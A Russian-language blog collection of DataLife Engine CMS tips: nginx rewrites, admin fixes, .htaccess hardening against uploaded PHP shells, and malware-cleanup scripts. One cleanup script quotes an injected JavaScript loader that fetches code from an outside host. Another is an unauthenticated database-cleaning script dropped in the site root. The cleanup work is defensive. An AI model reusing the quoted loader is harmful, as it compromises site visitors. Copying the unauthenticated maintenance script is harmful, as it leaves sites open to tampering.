DLE

0 читателей, 11 топиков

ANTISPAM: User ID not valid (DLE Внимание, обнаружена ошибка)

DLE


Проблема

Бывает что выскакивает ошибка при добавлении новостей на движке CMS DLE. Причин может быть несколько, наиболее распространенная из них является когда при открытой форме добавления новостей вы еще параллельно открываете вкладку со страницой сайта. В этом случае ДЛЕ думает что вы используете спам программу для массовой рассылки новостей или комментариев.

Что же делать в этом случае?


Я не знаю как в других браузерах, но в опере нужно вернуться назад, нажав на стрелку возврата и новость останется в неизменном виде.

Решение проблемы

Открыть админпанель в новой вкладке и выбрать раздел Настройка системы.
Дальше вторая иконка сверху > Настройка скрипта безопасности.
Найти пункт «Включить автоматическое блокирование спам программ» и напротив поставить «нет».
Сохраняем и добавляем новость, все должно получиться.

Nginx не работает ссылка на sitemap (DLE)

DLE
После перевода движка DLE на nginx, пришлось отказаться от реврайтовских деревктив Apache. Написать аналог им для Nginx.

Но выяснилось, что ссылка на sitemap.xml так и не работала.

Для этого в nginx.conf
Заменить
rewrite ^/sitemap.xml$ uploads/sitemap.xml;

на
rewrite ^/sitemap.xml$ /uploads/sitemap.xml last;


Или просто добавить, если такой не было.

DLE и nginx

DLE
В nginx не работают реврайт, т.е .htaccess в nginx не будет работать, так как он отноится к Apache.
Выход: Для того, чтобы на DLE работали ЧПУ добавляем в nginx.conf вместо зачеркнутого(если подобных строчек нету в этом файле, ищите например бывает в /etc/nginx/sites-enabled/default)

location / {
root /home/allsoldhere;
index index.php index.html index.htm;
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php last;
}

}

rewrite ^/page/(.*)$ /index.php?cstart=$1;

rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)/page,([0-9]+),([0-9]+),(.*).html*$ /index.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&cstart=$5&news_name=$6;
rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)/page,([0-9]+),(.*).html*$ /index.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&news_name=$5;
rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)/print:page,([0-9]+),(.*).html*$ /engine/print.php?subaction=showfull&year=$1&month=$2&day=$3&news_page=$4&news_name=$5;
rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)/(.*).html*$ /index.php?subaction=showfull&year=$1&month=$2&day=$3&news_name=$4;

rewrite ^/([^.]+)/page,([0-9]+),([0-9]+),([0-9]+)-(.*).html(/?)$ /index.php?newsid=$4&news_page=$2&cstart=$3;
rewrite ^/([^.]+)/page,([0-9]+),([0-9]+)-(.*).html(/?)$ /index.php?newsid=$3&news_page=$2;
rewrite ^/([^.]+)/print:page,([0-9]+),([0-9]+)-(.*).html(/?)$ /engine/print.php?news_page=$2&newsid=$3;
rewrite ^/([^.]+)/([0-9]+)-(.*).html(/?)$ /index.php?newsid=$2;

rewrite ^/page,([0-9]+),([0-9]+),([0-9]+)-(.*).html(/?)+$ /index.php?newsid=$3&news_page=$1&cstart=$2;
rewrite ^/page,([0-9]+),([0-9]+)-(.*).html(/?)+$ /index.php?newsid=$2&news_page=$1;
rewrite ^/print:page,([0-9]+),([0-9]+)-(.*).html(/?)+$ /engine/print.php?news_page=$1&newsid=$2;
rewrite ^/([0-9]+)-(.*).html(/?)+$ /index.php?newsid=$1;

rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)/page/([0-9]+)(.*)$ /index.php?year=$1&month=$2&day=$3&cstart=$4;
rewrite ^/([0-9]+)/([0-9]+)/([0-9]+)(.*)$ /index.php?year=$1&month=$2&day=$3;

rewrite ^/([0-9]+)/([0-9]+)/page/([0-9]+)(.*)$ /index.php?year=$1&month=$2&cstart=$3;
rewrite ^/([0-9]+)/([0-9]+)(.*)$ /index.php?year=$1&month=$2;

rewrite ^/([0-9]+)/page/([0-9]+)(.*)$ /index.php?year=$1&cstart=$2;
rewrite ^/([0-9]+)(.*)$ /index.php?year=$1;

rewrite ^/catalog/([^/]*)/page/([0-9]+)(.*)$ /index.php?catalog=$1&cstart=$2;
rewrite ^/catalog/([^/]*)(.*)$ /index.php?catalog=$1;

rewrite ^/newposts/page/([0-9]+)(.*)$ /index.php?subaction=newposts&cstart=$1;
rewrite ^/newposts(.*)$ /index.php?subaction=newposts;

rewrite ^/static/(.*).html(.*)$ /index.php?do=static&page=$1;

rewrite ^/user/([^/]*)/news/page/([0-9]+)(.*)$ /index.php?subaction=allnews&user=$1&cstart=$2;
rewrite ^/user/([^/]*)/news(.*)$ /index.php?subaction=allnews&user=$1;
rewrite ^/user/([^/]*)(.*)$ /index.php?subaction=userinfo&user=$1;
rewrite ^/favorites /index.php?do=favorites;
rewrite ^/favorites/page/(.*)$ /index.php?do=favorites&cstart=$1;
rewrite ^/statistics.html$ /index.php?do=stats;
rewrite ^/addnews.html(.*)$ /index.php?do=addnews;
rewrite ^/rss.xml$ /engine/rss.php;
rewrite ^/sitemap.xml$ uploads/sitemap.xml;
if (!-d $request_filename) {
rewrite ^/([^.]+)/page/([0-9]+)(.*)$ /index.php?do=cat&category=$1&cstart=$2;
rewrite ^/([^.]+)/*$ /index.php?do=cat&category=$1;       
}
if (!-f $request_filename) {
rewrite ^/([^<]+)/rss.xml$ /engine/rss.php?do=cat&category=$1;
rewrite ^/page,([0-9]+),([^/]+).html$ /index.php?do=static&page=$2&news_page=$1;
rewrite ^/([^/]+).html$ /index.php?do=static&page=$1;
}

Как сделать статическую страницу главной в DLE?

DLE
Нет ничего проще =)

Создаешь статическую страницу, записываешь её адрес, например: page_static1.html
Редактируешь файл .htaccess в корне, и в самом верху
DirectoryIndex index.php?do=static&page=page_static1


Если же в файле нет такой строки, она обычно первая, то просто добавь её, и все.

DLE: Количество выводимых тегов для {tags}

DLE
Меняем количество тэгов выводимых в {tags}

Идём в:
engine/modules/tagscloud.php

находим строчку:
$db->query("SELECT SQL_CALC_FOUND_ROWS tag, COUNT(*) AS count FROM " . PREFIX . "_tags GROUP BY tag ORDER BY count DESC LIMIT 0,40");

и вместо 40 ставим нужно число! :-)

вот и всё!

Защита папок скрипта от запуска сторонних скриптов

DLE
Дорогие друзья,

в этой небольшой статье мы хотим рассказать вам о том как, как вам можно повысить безопасность вашего сайта. Как известно наибольшую угрозу для сайта представляют собой залитые злоумышленником на сервер PHP шеллы. Что это такое? Это PHP скрипты которые могут выполняться на вашем сервере, соответственно производить какие-либо изменения в файлах доступных для записи или могут, например читать содержимое конфигурационных данных и соответственно получать прямой доступ к базе данных. Каким образом могут попадать данные шеллы на ваш сервер? При обнаружении какой либо уязвимости в скрипте, или сторонних модулях, или вообще при наличии других уязвимых сторонних скриптов на сервере, или серверного ПО. Главная особенность заключается в том, что шеллы можно залить не в любые папки на сервере, а лишь в папки доступные для записи на сервере, и в DataLife Engine такими папками являются папки /uploads/ и /templates/, а также все вложенные в них папки. Данные папки должны иметь права на запись, т.к. вы в них заливаете посредством скрипта легальный контент, файлы, картинки, редактируете в админпанели шаблоны и прочее. И как правило в эти папки производится загрузка шеллов при обнаружении злоумышленником какой либо бреши на сервере в любом скрипте, даже не имеющем отношения к DataLife Engine. Можно ли защитить эти папки, в случае попадания в них зловредного PHP файла, ведь нельзя запретить доступ к этим папкам? Можно, и достаточно не сложно.

Итак, вам необходимо разместить в папках /uploads/ и /templates/ файл .htaccess со следующим содержимым:
php_flag engine  off


Данная строчка отключает использование PHP интерпретатора при попытке обращения к PHP файлам находящимся в этих папках, а также находящимся во всех вложенных папках. Поэтому даже в случае заливки в эти папки файлов со зловредным PHP кодом, они становятся для злоумышленника совершенно бесполезными, т.к. попросту не будут запускаться и выполнятся сервером.

К сожалению далеко не все хостинг провайдеры позволяют управлять через .htaccess данным параметром, но для таких сайтов решение также существует, поэтому если на вашем сервере не работает вышеуказанный способ, то разместите в этих же папках .htaccess с содержимым:
<FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Ph][Hh][Tt][Mm][Ll])\.?.*">
   Order allow,deny
   Deny from all
</FilesMatch>


Данный код запрещает прямое обращение к PHP файлам, находящимся в этих папках.

Вот собственно и все, эти несложные манипуляции позволят серьезно повысить безопасность вашего сайта, даже в случае если найдется серьезная уязвимость в сторонних модулях и скриптах.

Но если им удастся получить доступ к вашей админ панели, и они попытается разрешить заливку php скриптов.
Для подстраховки можно сделать так.
Открыть: engine/inc/files.php и найти там

$allowed_extensions = array ("gif", "jpg", "png", "jpe", "jpeg" );
$allowed_video = array ("avi", "mp4", "wmv", "mpg", "flv", "mp3", "swf", "m4v", "m4a", "mov", "3gp", "f4v" );
$allowed_files = explode( ',', strtolower( $config['files_type'] ) );
$img_result_th = "";
$img_result = "";


Найденное заменяем на:

$allowed_extensions = array ("gif", "jpg", "png", "jpe", "jpeg" );
$allowed_video = array ("avi", "mp4", "wmv", "mpg", "flv", "mp3", "swf", "m4v", "m4a", "mov", "3gp", "f4v" );
$allow_conf = str_replace("php",md5(time() - rand(30,60)),strtolower( $config['files_type'] ));
$allowed_files = explode( ',', $allow_conf );
$img_result_th = "";
$img_result = "";


После этого вы очень сильно усложните заливку шелла на сайт, и сможете наконец спать спокойно!

Помощь в избавлении от вируса на DLE.

DLE
Заказал программисту скрипт по авто-удалению вредоносного кода со всех файлов.

код ищет файлы от корня с именами
index
menu
header
top
footer
default
в них ищет вредоносный код и удаляет его

в итоге быстро удадлили весь «вредный код»

<?php 
define ('BR', "<br />\r\n"); 
$srch='<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript(\'http://firefoxstabs.com/\' + Math.random().toString().substring(3) + \'.js\', function() {flag = 2;});}});});</script>'; 
$srch2="document.write('<scr'+'ipt src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js\"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"; 

function clean_file($file)
{ 
global $srch;
global $srch2; 
    $basename=basename($file); 
    $filename=substr($basename, 0, strrpos($basename, '.')); 
    //print($file.BR);
    
        $f_in=file_get_contents($file); 
        if (strpos($f_in, $srch)!=false) { 
  
              print("<b>".$file."</b>
");
            $f_in=str_replace($srch, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
        if (strpos($f_in, $srch2)!=false) { 
        
            print("<b>".$file."</b>
");
            
            $f_in=str_replace($srch2, '', $f_in); 
            file_put_contents($file, $f_in); 
        } 
    
} 

function firefoxtabs_remover($dir){ 
    if ($objs = glob($dir."/*")) { 
        foreach($objs as $obj) { 
            if (is_dir($obj)) firefoxtabs_remover($obj); 
            else clean_file($obj); 
        } 
    } 
} 

$dir=realpath('./'); 
firefoxtabs_remover($dir); 
?> 

Доктор DLE, удаление вирусов из базы данных

DLE
Если у вас взломали сайт на DLE и в базу данных прописали скрипты вирусов, то вы зашли по адресу!

Выкладываю мод для удаления вирусов из базы данных DLE. Все очень просто:
1) скачиваете файл.
2) заливаете его в корень сайта.
3) и запускаете.

Скрипт удалит все записи вида
<script.*<\/script>
из базы данных, при этом если у вас сайт с большим количеством новостей, данный скрипт не положит ваш сервер )))) а в потихоньку удалит все вирусы с вашего сайта, не нагружая до предела ваш хостинг или сервер.

Пользуйтесь на здоровье!

<?php

if(isset($_GET['blank'])) die();

error_reporting(0);

set_time_limit(0);

function stripslashes_array($array) { 

	return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 

}

if(get_magic_quotes_gpc()) $_POST = stripslashes_array($_POST); 



session_start ();

define ( 'DATALIFEENGINE', true );

$member_id = FALSE;

$is_logged = FALSE;

define('ROOT_DIR', dirname( __FILE__ ));

define('ENGINE_DIR', ROOT_DIR.'/engine');



require_once ROOT_DIR.'/engine/init.php';

?>

<html>

<head>

	<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />

	<title>Доктор DLE от SEO-KinG.RU</title>

	<style type="text/css">

	body, td, th {

    color: #333;

    font-family: Arial;

    font-size: 14px;

	}

	</style>

</head>

<body>

<?php

if(isset($_POST['submit'])) {

    echo '<div id="result">';

    $posts = $db->query("SELECT `id`, `full_story`, `short_story`  FROM `".PREFIX."_post`");

    while($post = $db->get_row($posts)) {

	    $post['full_story'] = preg_replace('/(<script.*<\/script>)/Usi', '', $post['full_story']);

	    $post['short_story'] = preg_replace('/(<script.*<\/script>)/Usi', '', $post['short_story']);

	    $sql = 'UPDATE `'.PREFIX.'_post` SET `full_story`="'.mysql_escape_string($post['full_story']).'", `short_story`="'.mysql_escape_string($post['short_story']).'" WHERE `id`='.$post['id'];

		$db->query($sql);

    }

    echo 'Готово';

    echo '</div>';

}

?>

<form action="" method="post">

<input type="submit" name="submit" value="Начать" />

</form>



</body>

</html>

DLE после обновления до версии DLE 9.3 вылазиет ошибка.

DLE
MySQL Error!
------------------------
The Error returned was:
Table 'мой сайт и ник.dle_complaint' doesn't exist
Error Number:
1146 SELECT COUNT(*) as count FROM dle_complaint


Решение:
В phpmyadmin выполните вот такой запрос

DROP TABLE IF EXISTS `dle_complaint`;
CREATE TABLE `dle_complaint` (
`id` int(11) unsigned NOT NULL auto_increment,
`p_id` int(10) NOT NULL default '0',
`c_id` int(10) NOT NULL default '0',
`n_id` int(10) NOT NULL default '0',
`text` text NOT NULL,
`from` varchar(40) NOT NULL default '',
`to` varchar(40) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `c_id` (`c_id`),
KEY `p_id` (`p_id`),
KEY `n_id` (`n_id`)
) ENGINE=MyISAM /*!40101 DEFAULT CHARSET=cp1251 */;


Обратите внимание на префиксы DROP TABLE IF EXISTS `dle_complaint`;
CREATE TABLE `dle_complaint` ( если у вас другой то просто подмените

Simple AJAX Code-Kit (SACK) и движок DataLife(DLE)

DLE
Рыская в интернете в поисках Ajax-готового новостного движка, я наткнулся на давно всем известный. Хотя этот довольно продвинутый php ресурс и содержит элементы Ajax, они по-моему не до конца раскрыты и используются довольно скупо. К сожалению, в самой документации движка ничего не поведано на тему как же использовать Ajax и создавать свои собственные модули. Придется эту заколдованную часть раскапывать самому. Тем, кто столкнулся с подобной проблемой, будет безинтересным узнать некоторые подробности, который довольно идентичен Ajax-движку. В качестве прмера используется обыкновенный авторизационный модуль.

SACK можно назвать одним из самых простых и нетребовательных к броузеру Ajax движков, который не требует особых знаний JavaScript или PHP. Особенно для начинающих строителей веб портала SACK позволит завершить проект в самое короткое время. SACK 1.2 включен в блоговый сайт, что придает движку довольно значимый авторитет. SACK разработан.
Читать дальше →